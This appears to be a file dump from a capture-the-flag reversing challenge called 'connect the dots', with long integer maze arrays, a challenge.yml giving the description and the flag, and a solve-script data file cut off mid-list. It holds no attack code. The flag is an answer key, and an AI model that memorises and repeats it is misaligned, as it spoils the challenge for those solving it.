12, 5, 11, 2, 6, 7, 5, 9, 6, 1, 10, 6, 5, 9, 2, 10, 10, 6, 5, 5, 9, 12, 7, 5, 3, 10, 12, 3, 10, 10, 6, 5, 3, 12, 5, 13, 5, 9, 6, 9, 6, 3, 8, 6, 9, 6, 7, 3, 10, 12, 3, 12, 5, 3, 12, 9, 12, 5, 3, 12, 5, 3, 10, 10, 10, 10, 6, 3, 12, 5, 9, 12, 3, 6, 9, 10, 10, 12, 5, 5, 5, 3, 10, 6, 9, 10, 6, 9, 10, 10, 10, 6, 9, 6, 5, 5, 5, 3, 12, 3, 10, 12, 3, 12, 3, 10, 12, 9, 10, 6, 9, 6, 5, 9, 2, 6, 5, 3, 12, 5, 5, 9, 10, 12, 9, 10, 10, 8, 6, 3, 6, 5, 9, 10, 6, 9, 12, 5, 5, 5, 5, 9, 10, 12, 5, 9, 10, 4, 9, 10, 12, 13, 3, 12, 3, 6, 1, 12, 3, 10, 10, 6, 13, 5, 11, 12, 5, 3, 10, 12, 7, 9, 4, 7, 9, 12, 3, 12, 7, 5, 5, 3, 14, 1, 6, 9, 10, 6, 9, 12, 13, 5, 3, 12, 11, 6, 5, 5, 5, 5, 3, 6, 13, 3, 6, 5, 13, 3, 6, 13, 5, 3, 10, 2, 10, 10, 6, 3, 10, 10, 12, 11, 4, 5, 9, 4, 1, 10, 14, 3, 12, 5, 7, 9, 6, 5, 13, 3, 10, 6, 3, 10, 12, 3, 14, 3, 10, 12, 5, 5, 3, 4, 9, 2, 10, 8, 6, 5, 7, 5, 9, 10, 2, 10, 12, 3, 4, 11, 8, 4, 3, 10, 10, 140, 11, 10, 10, 12, 9, 12, 1, 10, 6, 5, 5, 5, 3, 10, 12, 9, 6, 3, 10, 2, 14, 5, 1, 10, 10, 8, 10, 14, 3, 10, 10, 10, 12, 3, 4, 3, 12, 5, 5, 9, 12, 7, 9, 4, 9, 6, 5, 13, 9, 10, 4, 13, 5, 9, 6, 5, 11, 10, 12, 3, 10, 10, 12, 3, 4, 5, 5, 9, 10, 6, 5, 5, 9, 10, 4, 3, 12, 9, 10, 12, 9, 6, 5, 13, 9, 4, 9, 10, 10, 10, 8, 12, 3, 12, 3, 14, 5, 5, 5, 5, 3, 10, 6, 5, 5, 9, 6, 5, 3, 12, 3, 6, 3, 6, 13, 3, 10, 12, 1, 8, 10, 12, 3, 12, 7, 3, 6, 5, 11, 8, 6, 5, 5, 11, 4, 13, 3, 6, 13, 3, 6, 13, 3, 4, 5, 5, 3, 8, 10, 14, 5, 3, 14, 5, 9, 10, 6, 7, 5, 5, 11, 12, 9, 6, 1, 6, 11, 0, 12, 3, 10, 8, 12, 13, 1, 10, 12, 5, 5, 5, 11, 6, 9, 6, 9, 10, 10, 6, 9, 6, 13, 5, 3, 12, 3, 2, 10, 10, 2, 10, 12, 3, 10, 6, 5, 7, 9, 6, 9, 12, 5, 9, 10, 6, 1, 12, 9, 10, 6, 3, 12, 3, 4, 13, 3, 10, 12, 5, 3, 14, 9, 6, 3, 4, 5, 13, 3, 6, 5, 5, 9, 8, 6, 9, 6, 9, 10, 10, 6, 9, 6, 5, 9, 6, 9, 10, 10, 8, 10, 14, 3, 10, 10, 10, 4, 9, 6, 13, 5, 1, 6, 5, 9, 10, 6, 5, 5, 11, 8, 12, 3, 12, 3, 6, 13, 9, 6, 3, 10, 12, 5, 9, 14, 5, 5, 3, 10, 10, 6, 5, 5, 7, 9, 6, 9, 4, 9, 14, 9, 2, 10, 6, 5, 11, 2, 12, 11, 6, 9, 10, 10, 10, 10, 10, 6, 3, 12, 5, 5, 5, 9, 6, 3, 12, 9, 6, 5, 9, 6, 3, 12, 5, 9, 12, 5, 5, 11, 8, 12, 5, 5, 1, 10, 6, 3, 10, 10, 10, 12, 5, 3, 10, 6, 13, 5, 5, 3, 12, 5, 9, 10, 12, 3, 10, 12, 5, 9, 12, 5, 11, 10, 8, 12, 11, 8, 14, 5, 5, 5, 7, 5, 9, 10, 6, 3, 10, 2, 6, 9, 14, 5, 3, 6, 5, 1, 2, 10, 6, 5, 5, 5, 3, 10, 12, 9, 14, 9, 10, 6, 1, 10, 12, 9, 2, 6, 5, 9, 6, 3, 6, 9, 6, 13, 9, 6, 5, 5, 3, 2, 10, 8, 6, 3, 10, 4, 9, 6, 5, 3, 12, 5, 3, 12, 9, 10, 12, 9, 12, 3, 12, 5, 9, 14, 5, 5, 13, 9, 12, 5, 5, 5, 9, 12, 5, 3, 12, 3, 10, 10, 6, 13, 5, 3, 12, 9, 6, 3, 10, 10, 12, 5, 9, 6, 5, 9, 2, 6, 9, 10, 12, 7, 9, 12, 9, 6, 3, 10, 2, 12, 3, 6, 11, 4, 3, 14, 5, 5, 3, 12, 3, 2, 6, 9, 4, 3, 4, 5, 5, 3, 6, 3, 6, 5, 3, 10, 4, 9, 10, 8, 14, 1, 6, 13, 5, 3, 10, 12, 9, 12, 5, 3, 4, 9, 6, 3, 10, 12, 3, 12, 147, 10, 6, 5, 7, 9, 10, 8, 12, 3, 10, 10, 12, 3, 8, 10, 6, 5, 13, 5, 9, 10, 10, 6, 5, 9, 6, 5, 3, 8, 10, 10, 12, 5, 11, 12, 5, 3, 14, 5, 9, 6, 9, 4, 3, 12, 13, 3, 6, 5, 5, 9, 6, 3, 12, 9, 12, 5, 13, 5, 9, 10, 14, 5, 9, 6, 9, 6, 5, 9, 12, 13, 5, 11, 4, 9, 10, 4, 3, 2, 6, 9, 12, 9, 6, 3, 12, 3, 12, 7, 9, 12, 3, 6, 9, 6, 3, 10, 8, 6, 3, 12, 5, 3, 12, 5, 1, 12, 9, 6, 5, 3, 10, 12, 3, 6, 5, 3, 6, 5, 1, 10, 12, 3, 6, 13, 3, 12, 5, 5, 3, 6, 3, 12, 7, 3, 12, 7, 9, 10, 12, 7, 1, 6, 13, 13, 5, 13, 3, 10, 6, 5, 13, 9, 2, 8, 14, 9, 6, 9, 10, 6, 3, 12, 5, 3, 4, 7, 5, 9, 2, 10, 10, 4, 9, 8, 6, 9, 10, 6, 3, 12, 3, 12, 9, 2, 12, 5, 3, 6, 9, 10, 12, 5, 9, 10, 6, 9, 2, 14, 1, 12, 3, 10, 4, 5, 3, 2, 12, 9, 12, 5, 5, 1, 14, 3, 10, 2, 12, 3, 12, 11, 10, 164, 1, 12, 5, 9, 6, 5, 9, 10, 12, 7, 5, 7, 9, 6, 9, 10, 10, 6, 13, 3, 2, 14, 5, 5, 9, 12, 5, 13, 3, 6, 5, 9, 10, 6, 9, 12, 7, 5, 11, 12, 5, 1, 8, 14, 3, 6, 5, 5, 3, 6, 9, 12, 9, 12, 5, 13, 3, 10, 12, 7, 5, 7, 5, 3, 12, 7, 3, 12, 3, 12, 3, 12, 3, 12, 1, 10, 10, 10, 2, 10, 14, 9, 6, 3, 6, 3, 6, 1, 8, 10, 6, 3, 12, 9, 6, 3, 10, 6, 9, 6, 5, 7, 5, 9, 10, 12, 5, 3, 10, 10, 6, 3, 6, 5, 3, 4, 11, 12, 3, 12, 5, 9, 6, 13, 3, 8, 14, 1, 14, 3, 12, 3, 12, 5, 7, 9, 10, 10, 12, 9, 12, 5, 9, 10, 8, 12, 13, 5, 3, 12, 9, 10, 6, 5, 9, 10, 10, 8, 4, 9, 6, 9, 6, 3, 12, 3, 6, 9, 12, 9, 10, 10, 10, 6, 13, 3, 10, 4, 9, 6, 3, 2, 12, 1, 12, 3, 10, 6, 9, 10, 2, 12, 5, 3, 12, 5, 9, 14, 3, 6, 5, 3, 2, 14, 5, 5, 1, 6, 13, 3, 2, 10, 14, 5, 3, 14, 9, 6, 5, 5, 13, 1, 10, 12, 5, 11, 10, 4, 5, 3, 10, 12, 11, 8, 2, 10, 10, 6, 3, 10, 12, 13, 5, 5, 5, 11, 8, 14, 5, 13, 9, 6, 1, 12, 3, 6, 5, 9, 10, 12, 5, 9, 10, 10, 6, 5, 3, 10, 2, 12, 9, 10, 10, 6, 9, 188, 5, 11, 4, 5, 5, 1, 14, 3, 4, 9, 10, 6, 5, 9, 14, 3, 12, 3, 10, 10, 12, 11, 12, 9, 6, 3, 2, 6, 3, 12, 5, 9, 6, 5, 3, 12, 5, 5, 11, 10, 2, 2, 14, 5, 5, 5, 9, 12, 13, 3, 12, 11, 10, 6, 5, 9, 10, 10, 4, 5, 3, 12, 5, 3, 4, 7, 9, 12, 3, 6, 11, 12, 5, 5, 9, 12, 5, 13, 9, 10, 6, 9, 6, 3, 12, 9, 10, 10, 12, 5, 5, 3, 12, 1, 10, 6, 5, 3, 10, 10, 10, 10, 12, 5, 3, 6, 5, 3, 2, 12, 5, 9, 10, 10, 6, 1, 10, 14, 5, 3, 10, 4, 3, 14, 5, 9, 6, 3, 12, 9, 8, 6, 3, 4, 5, 5, 5, 5, 5, 11, 8, 2, 8, 14, 3, 6, 11, 12, 5, 3, 0, 14, 5, 3, 10, 12, 5, 9, 10, 10, 12, 11, 2, 2, 8, 10, 6, 9, 12, 7, 5, 1, 12, 11, 10, 6, 9, 12, 5, 9, 12, 5, 9, 10, 6, 5, 11, 10, 4, 7, 3, 10, 10, 6, 5, 3, 6, 5, 3, 12, 5, 13, 3, 8, 10, 8, 10, 6, 3, 12, 7, 9, 6, 9, 10, 6, 3, 6, 9, 10, 4, 9, 10, 12, 7, 9, 10, 6, 3, 10, 6, 7, 1, 10, 10, 12, 5, 5, 5, 5, 3, 6, 3, 12, 13, 5, 9, 12, 5, 9, 10, 10, 10, 10, 6, 11, 12, 1, 10, 6, 5, 1, 14, 3, 12, 7, 9, 8, 14, 5, 9, 6, 11, 2, 10, 10, 12, 13, 5, 11, 4, 5, 13, 3, 10, 6, 11, 10, 10, 8, 10, 12, 3, 14, 9, 6, 5, 5, 5, 3, 10, 8, 14, 5, 5, 5, 5, 5, 3, 6, 9, 12, 11, 10, 8, 10, 6, 3, 12, 13, 5, 3, 8, 14, 3, 12, 5, 3, 12, 5, 3, 10, 10, 12, 9, 12, 3, 4, 3, 12, 5, 3, 2, 12, 11, 8, 10, 12, 9, 6, 9, 6, 9, 10, 6, 9, 6, 3, 6, 9, 12, 7, 9, 6, 5, 5, 5, 3, 10, 10, 6, 3, 10, 12, 1, 12, 201, 10, 6, 3, 2, 10, 6, 9, 10, 4, 5, 13, 3, 6, 9, 10, 12, 5, 5, 5, 9, 6, 9, 6, 3, 12, 13, 3, 10, 6, 13, 3, 6, 9, 6, 11, 2, 12, 9, 4, 9, 10, 10, 6, 3, 10, 6, 9, 6, 5, 3, 10, 12, 9, 10, 10, 12, 5, 7, 3, 2, 10, 12, 9, 10, 10, 12, 3, 12, 5, 3, 4, 11, 10, 4, 9, 2, 6, 5, 3, 6, 13, 5, 11, 10, 2, 2, 10, 10, 8, 6, 9, 10, 6, 11, 8, 12, 5, 5, 7, 5, 9, 10, 10, 14, 9, 10, 2, 12, 3, 8, 12, 3, 6, 11, 12, 5, 3, 10, 12, 9, 12, 3, 4, 9, 12, 3, 10, 6, 5, 13, 3, 12, 9, 4, 7, 9, 12, 5, 9, 10, 6, 3, 8, 12, 9, 10, 12, 9, 6, 9, 6, 11, 8, 10, 6, 3, 6, 3, 12, 5, 3, 8, 10, 12, 3, 12, 9, 4, 9, 6, 3, 14, 9, 8, 6, 1, 10, 14, 1, 6, 5, 11, 6, 5, 5, 9, 12, 9, 6, 1, 12, 3, 6, 5, 9, 6, 5, 3, 6, 9, 10, 12, 7, 5, 3, 12, 3, 6, 13, 5, 11, 8, 6, 11, 10, 10, 8, 10, 4, 3, 12, 3, 14, 3, 10, 6, 5, 5, 5, 9, 12, 9, 6, 3, 10, 6, 9, 12, 3, 14, 1, 12, 9, 6, 5, 7, 3, 2, 10, 6, 5, 13, 9, 6, 5, 11, 2, 10, 10, 4, 11, 2, 218, 6, 13, 5, 9, 10, 4, 3, 10, 6, 9, 10, 10, 10, 6, 9, 6, 13, 3, 10, 10, 10, 10, 10, 6, 5, 1, 6, 5, 3, 12, 13, 9, 10, 6, 3, 10, 12, 7, 3, 2, 14, 1, 10, 10, 10, 10, 12, 3, 4, 5, 13, 3, 10, 10, 10, 12, 7, 9, 10, 10, 12, 3, 2, 6, 13, 3, 12, 9, 12, 5, 9, 8, 10, 12, 5, 9, 2, 10, 8, 8, 10, 10, 10, 14, 5, 3, 14, 1, 12, 5, 5, 5, 9, 12, 9, 14, 5, 9, 10, 10, 12, 7, 9, 12, 9, 12, 3, 12, 7, 3, 4, 9, 10, 14, 9, 6, 9, 6, 9, 14, 3, 12, 9, 8, 0, 14, 5, 5, 3, 6, 5, 3, 12, 5, 5, 7, 9, 12, 7, 5, 9, 10, 12, 9, 6, 9, 8, 6, 7, 3, 4, 3, 6, 5, 1, 12, 1, 6, 11, 8, 2, 10, 6, 3, 6, 3, 12, 3, 12, 9, 6, 3, 12, 9, 6, 9, 6, 11, 2, 8, 12, 5, 7, 5, 7, 9, 6, 1, 10, 12, 3, 12, 5, 7, 3, 10, 6, 3, 12, 1, 6, 9, 6, 5, 13, 5, 7, 9, 12, 9, 2, 14, 9, 6, 5, 3, 6, 9, 12, 5, 9, 10, 12, 9, 10, 14, 5, 9, 6, 3, 10, 10, 4, 5, 9, 6, 9, 10, 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5, 3, 10, 14, 3, 6, 9, 6, 5, 13, 3, 12, 5, 3, 12, 9, 12, 5, 3, 6, 9, 6, 5, 3, 10, 10, 10, 10, 10, 6, 5, 3, 10, 12, 7, 9, 10, 10, 6, 3, 12, 9, 8, 12, 3, 12, 5, 5, 3, 12, 9, 6, 5, 5, 11, 2, 10, 4, 13, 5, 5, 9, 10, 10, 10, 10, 6, 9, 6, 5, 9, 6, 1, 12, 5, 7, 5, 3, 10, 10, 6, 9, 4, 9, 8, 14, 9, 8, 12, 13, 3, 12, 9, 6, 9, 6, 13, 9, 8, 10, 6, 7, 5, 3, 10, 4, 5, 3, 12, 5, 5, 11, 4, 3, 12, 9, 10, 2, 6, 5, 5, 3, 8, 14, 9, 10, 10, 6, 9, 2, 6, 9, 6, 5, 3, 12, 1, 8, 10, 10, 10, 6, 5, 5, 3, 10, 6, 5, 5, 5, 9, 6, 3, 12, 5, 9, 6, 5, 5, 9, 10, 12, 5, 9, 12, 7, 3, 10, 6, 5, 1, 12, 5, 9, 6, 7, 9, 12, 9, 6, 1, 10, 6, 9, 6, 9, 12, 13, 5, 11, 12, 5, 13, 3, 12, 5, 7, 1, 12, 9, 12, 9, 6, 3, 14, 9, 12, 5, 3, 4, 3, 12, 9, 4, 5, 3, 10, 6, 3, 2, 14, 5, 5, 5, 3, 8, 12, 13, 9, 6, 7, 5, 5, 3, 10, 12, 5, 3, 6, 11, 2, 10, 14, 5, 11, 4, 5, 5, 5, 9, 4, 5, 3, 10, 6, 3, 12, 7, 3, 4, 5, 3, 10, 12, 9, 6, 5, 5, 9, 6, 9, 6, 5, 7, 3, 12, 9, 10, 10, 12, 9, 6, 1, 6, 9, 6, 3, 6, 3, 10, 12, 5, 5, 13, 9, 6, 3, 10, 10, 10, 12, 9, 10, 6, 9, 6, 3, 6, 3, 6, 5, 3, 12, 9, 10, 12, 3, 10, 12, 7, 3, 12, 13, 5, 5, 9, 6, 5, 3, 12, 3, 14, 3, 10, 10, 2, 6, 11, 10, 2, 6, 11, 2, 14, 3, 10, 10, 10, 10, 10, 2, 6, 3, 6, 3, 10, 10, 10, 10, 10, 2, 6, 11, 10, 2, 10, 10, 10, 10, 10, 2, 14, 3, 2, 14, 243, 10, 10, 2, 10, 10, 6, 3, 2, 6, 3, 10, 6, 11, 6}; ================================================ FILE: rev/connect-the-dots/challenge.yml ================================================ version: "0.1" id: connect-the-dots name: connect the dots category: reversing description: > Can you see the forest for the trees? Author: joseph#8210 files: - ./challenge/connect_the_dots tags: - medium flags: - DUCTF{bfs_dfs_ffs_no_more_mazes_a8fb66c12cd} ================================================ FILE: rev/connect-the-dots/solve/maze_data.py ================================================ MAZE_WIDTH = 60 MAZE_HEIGHT = 60 DOTS_DATA = [65407, 60999, 31620, 5074, 27425, 53858, 20942, 3721] MAZE_DATA = [11, 10, 12, 9, 10, 10, 8, 8, 10, 14, 9, 8, 10, 10, 12, 11, 8, 10, 12, 9, 10, 12, 9, 10, 10, 10, 12, 11, 10, 10, 10, 8, 12, 9, 8, 14, 9, 10, 12, 9, 8, 12, 11, 10, 10, 10, 8, 12, 11, 8, 10, 10, 8, 14, 9, 12, 9, 8, 12, 13, 13, 9, 6, 5, 9, 12, 5, 7, 9, 12, 5, 5, 9, 12, 3, 10, 6, 9, 6, 5, 9, 6, 3, 12, 9, 14, 3, 10, 10, 10, 12, 7, 1, 6, 3, 12, 3, 12, 5, 5, 5, 3, 10, 10, 10, 10, 6, 3, 12, 5, 9, 12, 7, 9, 6, 5, 5, 5, 3, 4, 5, 5, 11, 2, 6, 5, 3, 10, 6, 5, 5, 3, 6, 3, 10, 10, 12, 5, 9, 6, 3, 12, 9, 6, 1, 10, 10, 10, 8, 14, 3, 12, 3, 12, 13, 5, 9, 6, 3, 6, 5, 9, 10, 10, 10, 10, 12, 9, 6, 5, 5, 3, 10, 2, 12, 3, 6, 5, 9, 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6, 9, 10, 10, 12, 5, 5, 5, 3, 10, 6, 9, 10, 6, 9, 10, 10, 10, 6, 9, 6, 5, 5, 5, 3, 12, 3, 10, 12, 3, 12, 3, 10, 12, 9, 10, 6, 9, 6, 5, 9, 2, 6, 5, 3, 12, 5, 5, 9, 10, 12, 9, 10, 10, 8, 6, 3, 6, 5, 9, 10, 6, 9, 12, 5, 5, 5, 5, 9, 10, 12, 5, 9, 10, 4, 9, 10, 12, 13, 3, 12, 3, 6, 1, 12, 3, 10, 10, 6, 13, 5, 11, 12, 5, 3, 10, 12, 7, 9, 4, 7, 9, 12, 3, 12, 7, 5, 5, 3, 14, 1, 6, 9, 10, 6, 9, 12, 13, 5, 3, 12, 11, 6, 5, 5, 5, 5, 3, 6, 13, 3, 6, 5, 13, 3, 6, 13, 5, 3, 10, 2, 10, 10, 6, 3, 10, 10, 12, 11, 4, 5, 9, 4, 1, 10, 14, 3, 12, 5, 7, 9, 6, 5, 13, 3, 10, 6, 3, 10, 12, 3, 14, 3, 10, 12, 5, 5, 3, 4, 9, 2, 10, 8, 6, 5, 7, 5, 9, 10, 2, 10, 12, 3, 4, 11, 8, 4, 3, 10, 10, 140, 11, 10, 10, 12, 9, 12, 1, 10, 6, 5, 5, 5, 3, 10, 12, 9, 6, 3, 10, 2, 14, 5, 1, 10, 10, 8, 10, 14, 3, 10, 10, 10, 12, 3, 4, 3, 12, 5, 5, 9, 12, 7, 9, 4, 9, 6, 5, 13, 9, 10, 4, 13, 5, 9, 6, 5, 11, 10, 12, 3, 10, 10, 12, 3, 4, 5, 5, 9, 10, 6, 5, 5, 9, 10, 4, 3, 12, 9, 10, 12, 9, 6, 5, 13, 9, 4, 9, 10, 10, 10, 8, 12, 3, 12, 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10, 14, 5, 3, 14, 9, 6, 5, 5, 13, 1, 10, 12, 5, 11, 10, 4, 5, 3, 10, 12, 11, 8, 2, 10, 10, 6, 3, 10, 12, 13, 5, 5, 5, 11, 8, 14, 5, 13, 9, 6, 1, 12, 3, 6, 5, 9, 10, 12, 5, 9, 10, 10, 6, 5, 3, 10, 2, 12, 9, 10, 10, 6, 9, 188, 5, 11, 4, 5, 5, 1, 14, 3, 4, 9, 10, 6, 5, 9, 14, 3, 12, 3, 10, 10, 12, 11, 12, 9, 6, 3, 2, 6, 3, 12, 5, 9, 6, 5, 3, 12, 5, 5, 11, 10, 2, 2, 14, 5, 5, 5, 9, 12, 13, 3, 12, 11, 10, 6, 5, 9, 10, 10, 4, 5, 3, 12, 5, 3, 4, 7, 9, 12, 3, 6, 11, 12, 5, 5, 9, 12, 5, 13, 9, 10, 6, 9, 6, 3, 12, 9, 10, 10, 12, 5, 5, 3, 12, 1, 10, 6, 5, 3, 10, 10, 10, 10, 12, 5, 3, 6, 5, 3, 2, 12, 5, 9, 10, 10, 6, 1, 10, 14, 5, 3, 10, 4, 3, 14, 5, 9, 6, 3, 12, 9, 8, 6, 3, 4, 5, 5, 5, 5, 5, 11, 8, 2, 8, 14, 3, 6, 11, 12, 5, 3, 0, 14, 5, 3, 10, 12, 5, 9, 10, 10, 12, 11, 2, 2, 8, 10, 6, 9, 12, 7, 5, 1, 12, 11, 10, 6, 9, 12, 5, 9, 12, 5, 9, 10, 6, 5, 11, 10, 4, 7, 3, 10, 10, 6, 5, 3, 6, 5, 3, 12, 5, 13, 3, 8, 10, 8, 10, 6, 3, 12, 7, 9, 6, 9, 10, 6, 3, 6, 9, 10, 4, 9, 10, 12, 7, 9, 10, 6, 3, 10, 6, 7, 1, 10, 10, 12, 5, 5, 5, 5, 3, 6, 3, 12, 13, 5, 9, 12, 5, 9, 10, 10, 10, 10, 6, 11, 12, 1, 10, 6, 5, 1, 14, 3, 12, 7, 9, 8, 14, 5, 9, 6, 11, 2, 10, 10, 12, 13, 5, 11, 4, 5, 13, 3, 10, 6, 11, 10, 10, 8, 10, 12, 3, 14, 9, 6, 5, 5, 5, 3, 10, 8, 14, 5, 5, 5, 5, 5, 3, 6, 9, 12, 11, 10, 8, 10, 6, 3, 12, 13, 5, 3, 8, 14, 3, 12, 5, 3, 12, 5, 3, 10, 10, 12, 9, 12, 3, 4, 3, 12, 5, 3, 2, 12, 11, 8, 10, 12, 9, 6, 9, 6, 9, 10, 6, 9, 6, 3, 6, 9, 12, 7, 9, 6, 5, 5, 5, 3, 10, 10, 6, 3, 10, 12, 1, 12, 201, 10, 6, 3, 2, 10, 6, 9, 10, 4, 5, 13, 3, 6, 9, 10, 12, 5, 5, 5, 9, 6, 9, 6, 3, 12, 13, 3, 10, 6, 13, 3, 6, 9, 6, 11, 2, 12, 9, 4, 9, 10, 10, 6, 3, 10, 6, 9, 6, 5, 3, 10, 12, 9, 10, 10, 12, 5, 7, 3, 2, 10, 12, 9, 10, 10, 12, 3, 12, 5, 3, 4, 11, 10, 4, 9, 2, 6, 5, 3, 6, 13, 5, 11, 10, 2, 2, 10, 10, 8, 6, 9, 10, 6, 11, 8, 12, 5, 5, 7, 5, 9, 10, 10, 14, 9, 10, 2, 12, 3, 8, 12, 3, 6, 11, 12, 5, 3, 10, 12, 9, 12, 3, 4, 9, 12, 3, 10, 6, 5, 13, 3, 12, 9, 4, 7, 9, 12, 5, 9, 10, 6, 3, 8, 12, 9, 10, 12, 9, 6, 9, 6, 11, 8, 10, 6, 3, 6, 3, 12, 5, 3, 8, 10, 12, 3, 12, 9, 4, 9, 6, 3, 14, 9, 8, 6, 1, 10, 14, 1, 6, 5, 11, 6, 5, 5, 9, 12, 9, 6, 1, 12, 3, 6, 5, 9, 6, 5, 3, 6, 9, 10, 12, 7, 5, 3, 12, 3, 6, 13, 5, 11, 8, 6, 11, 10, 10, 8, 10, 4, 3, 12, 3, 14, 3, 10, 6, 5, 5, 5, 9, 12, 9, 6, 3, 10, 6, 9, 12, 3, 14, 1, 12, 9, 6, 5, 7, 3, 2, 10, 6, 5, 13, 9, 6, 5, 11, 2, 10, 10, 4, 11, 2, 218, 6, 13, 5, 9, 10, 4, 3, 10, 6, 9, 10, 10, 10, 6, 9, 6, 13, 3, 10, 10, 10, 10, 10, 6, 5, 1, 6, 5, 3, 12, 13, 9, 10, 6, 3, 10, 12, 7, 3, 2, 14, 1, 10, 10, 10, 10, 12, 3, 4, 5, 13, 3, 10, 10, 10, 12, 7, 9, 10, 10, 12, 3, 2, 6, 13, 3, 12, 9, 12, 5, 9, 8, 10, 12, 5, 9, 2, 10, 8, 8, 10, 10, 10, 14, 5, 3, 14, 1, 12, 5, 5, 5, 9, 12, 9, 14, 5, 9, 10, 10, 12, 7, 9, 12, 9, 12, 3, 12, 7, 3, 4, 9, 10, 14, 9, 6, 9, 6, 9, 14, 3, 12, 9, 8, 0, 14, 5, 5, 3, 6, 5, 3, 12, 5, 5, 7, 9, 12, 7, 5, 9, 10, 12, 9, 6, 9, 8, 6, 7, 3, 4, 3, 6, 5, 1, 12, 1, 6, 11, 8, 2, 10, 6, 3, 6, 3, 12, 3, 12, 9, 6, 3, 12, 9, 6, 9, 6, 11, 2, 8, 12, 5, 7, 5, 7, 9, 6, 1, 10, 12, 3, 12, 5, 7, 3, 10, 6, 3, 12, 1, 6, 9, 6, 5, 13, 5, 7, 9, 12, 9, 2, 14, 9, 6, 5, 3, 6, 9, 12, 5, 9, 10, 12, 9, 10, 14, 5, 9, 6, 3, 10, 10, 4, 5, 9, 6, 9, 10, 10, 6, 5, 3, 12, 3, 10, 2, 12, 3, 14, 3, 12, 7, 5, 9, 10, 12, 9, 12, 5, 7, 9, 6, 9, 6, 5, 3, 10, 6, 3, 2, 14, 9, 6, 13, 5, 13, 9, 6, 5, 7, 5, 13, 5, 5, 9, 10, 6, 1, 10, 10, 8, 14, 5, 5, 3, 12, 5, 9, 10, 14, 5, 13, 3, 10, 12, 11, 2, 12, 9, 10, 6, 9, 6, 5, 13, 3, 6, 5, 3, 10, 4, 9, 6, 9, 4, 9, 10, 10, 10, 10, 12, 1, 12, 3, 2, 6, 1, 14, 5, 9, 2, 6, 5, 5, 3, 12, 11, 0, 10, 14, 5, 9, 6, 3, 12, 3, 6, 3, 12, 9, 6, 3, 8, 12, 5, 9, 12, 5, 5, 9, 10, 2, 10, 6, 3, 8, 14, 3, 10, 12, 5, 5, 11, 4, 5, 5, 11, 8, 10, 10, 6, 5, 3, 10, 10, 10, 6, 9, 4, 1, 14, 9, 6, 1, 14, 3, 12, 7, 9, 10, 4, 5, 9, 14, 3, 10, 8, 10, 6, 3, 12, 9, 6, 5, 3, 6, 5, 1, 6, 3, 10, 10, 12, 9, 10, 6, 9, 8, 14, 3, 6, 3, 12, 5, 5, 1, 12, 3, 10, 12, 11, 2, 10, 10, 14, 9, 8, 6, 7, 5, 9, 6, 11, 2, 10, 10, 2, 10, 6, 11, 6, 5, 5, 9, 10, 12, 3, 10, 10, 12, 3, 6, 9, 6, 13, 9, 6, 7, 9, 12, 9, 12, 5, 3, 10, 10, 4, 3, 10, 12, 9, 10, 6, 5, 7, 7, 5, 9, 12, 5, 9, 10, 12, 9, 10, 6, 5, 9, 10, 6, 3, 10, 10, 12, 9, 10, 12, 9, 12, 9, 12, 5, 5, 5, 13, 3, 12, 9, 12, 5, 9, 12, 3, 10, 4, 3, 10, 10, 6, 5, 5, 5, 3, 10, 10, 12, 7, 9, 10, 6, 3, 10, 236, 3, 12, 9, 6, 5, 7, 5, 5, 13, 3, 6, 9, 14, 5, 3, 12, 9, 10, 10, 12, 3, 6, 9, 6, 5, 3, 6, 3, 6, 1, 2, 6, 9, 6, 5, 5, 3, 6, 1, 10, 14, 5, 9, 10, 12, 9, 6, 7, 3, 8, 10, 12, 3, 8, 6, 9, 10, 10, 12, 3, 12, 5, 1, 12, 3, 8, 6, 5, 1, 10, 14, 1, 10, 2, 14, 5, 5, 9, 12, 3, 10, 12, 3, 10, 6, 11, 10, 8, 12, 7, 9, 12, 5, 9, 6, 3, 12, 9, 6, 9, 12, 3, 6, 13, 5, 3, 12, 9, 12, 5, 9, 4, 9, 6, 9, 6, 9, 12, 1, 14, 5, 5, 5, 3, 12, 3, 12, 5, 3, 8, 10, 6, 9, 10, 10, 6, 3, 6, 3, 12, 13, 5, 9, 10, 10, 8, 10, 6, 3, 10, 6, 5, 5, 3, 12, 11, 2, 6, 9, 6, 3, 10, 10, 4, 3, 12, 5, 5, 5, 7, 5, 7, 5, 9, 2, 14, 5, 5, 3, 12, 5, 5, 1, 14, 5, 13, 5, 3, 12, 5, 9, 10, 6, 11, 10, 8, 10, 12, 11, 2, 6, 5, 5, 9, 10, 6, 11, 10, 8, 14, 9, 6, 1, 12, 3, 10, 12, 9, 6, 9, 8, 10, 12, 3, 12, 5, 3, 6, 3, 12, 5, 9, 6, 5, 13, 9, 6, 3, 10, 6, 3, 4, 5, 9, 6, 3, 0, 10, 6, 7, 5, 9, 10, 10, 10, 6, 13, 3, 12, 9, 12, 3, 6, 5, 9, 8, 10, 12, 3, 12, 3, 12, 5, 3, 10, 14, 3, 6, 9, 6, 5, 13, 3, 12, 5, 3, 12, 9, 12, 5, 3, 6, 9, 6, 5, 3, 10, 10, 10, 10, 10, 6, 5, 3, 10, 12, 7, 9, 10, 10, 6, 3, 12, 9, 8, 12, 3, 12, 5, 5, 3, 12, 9, 6, 5, 5, 11, 2, 10, 4, 13, 5, 5, 9, 10, 10, 10, 10, 6, 9, 6, 5, 9, 6, 1, 12, 5, 7, 5, 3, 10, 10, 6, 9, 4, 9, 8, 14, 9, 8, 12, 13, 3, 12, 9, 6, 9, 6, 13, 9, 8, 10, 6, 7, 5, 3, 10, 4, 5, 3, 12, 5, 5, 11, 4, 3, 12, 9, 10, 2, 6, 5, 5, 3, 8, 14, 9, 10, 10, 6, 9, 2, 6, 9, 6, 5, 3, 12, 1, 8, 10, 10, 10, 6, 5, 5, 3, 10, 6, 5, 5, 5, 9, 6, 3, 12, 5, 9, 6, 5, 5, 9, 10, 12, 5, 9, 12, 7, 3, 10, 6, 5, 1, 12, 5, 9, 6, 7, 9, 12, 9, 6, 1, 10, 6, 9, 6, 9, 12, 13, 5, 11, 12, 5, 13, 3, 12, 5, 7, 1, 12, 9, 12, 9, 6, 3, 14, 9, 12, 5, 3, 4, 3, 12, 9, 4, 5, 3, 10, 6, 3, 2, 14, 5, 5, 5, 3, 8, 12, 13, 9, 6, 7, 5, 5, 3, 10, 12, 5, 3, 6, 11, 2, 10, 14, 5, 11, 4, 5, 5, 5, 9, 4, 5, 3, 10, 6, 3, 12, 7, 3, 4, 5, 3, 10, 12, 9, 6, 5, 5, 9, 6, 9, 6, 5, 7, 3, 12, 9, 10, 10, 12, 9, 6, 1, 6, 9, 6, 3, 6, 3, 10, 12, 5, 5, 13, 9, 6, 3, 